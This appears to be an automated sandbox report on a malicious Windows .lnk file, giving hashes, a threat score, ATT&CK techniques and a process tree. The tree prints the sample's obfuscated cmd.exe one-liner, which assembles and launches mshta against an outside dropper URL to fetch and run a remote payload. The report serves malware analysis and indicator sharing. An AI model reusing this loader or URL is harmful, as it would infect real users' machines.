8bda91d288cac01c269cd55aefe08d3007c291c97300c44e5b7277ed8dbed6fc

Analysis

max time kernel
40s
max time network
41s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 20:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-ZP1RKR.lnk
Size 2KB
Sample260803-zlagvsfe64
SHA256 8bda91d288cac01c269cd55aefe08d3007c291c97300c44e5b7277ed8dbed6fc
MD5 1caaf375cb527414b646267b7dc15c31
SHA1 9f696b26d788473373a47f738e7ebd24d958189b
SHA512 09e7f1240d0582a53da84ac6ff303d7622ec9f233960d355d3d75c3389eb5e3de7d8a3d38136796c3024df75ebea31ad1a1fc49145323f52128e2d3a2bdd1e43
TLSH
T1554166502AEA01E8F3BA8E72D9FA2754487BBC568DA0CA9D0940C10D1423B51D677B27
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2716	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2716 wrote to memory of 6076	2716	cmd.exe	90
PID 6076 wrote to memory of 3500	6076	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-ZP1RKR.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2716
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d/V:on/c"set ly=windwbwaofyovcwin&&set tcqT=1d0sz&&set tkExt=v1mtar3m&&set bWd=pte9h&&set tsd=netshdmyelnuciknet&&set IY=cfgciqswkzcfg&&set JLUNN=cfgigoknkgvaecqzfcavbcfg&&set DtZP=ilmu&&set vCGku=ga7shbis&&set BteGX=hwtariv&&set UfuUY=bakfptdeyssuahgpnohubak&&set awxFz=oldbjnxyhgold&&set sppx=h@t@t@ps@:@//k@-@d@oc@umen@t@[email protected]@/@h/est@agi@o1.@php?r=3F1@477@F15@3@98D1&&start /b !DtZP:~2,1!!vCGku:~3,2!!BteGX:~2,2! !sppx:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6076
- - C:\Windows\System32\mshta.exe
    mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:3500

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads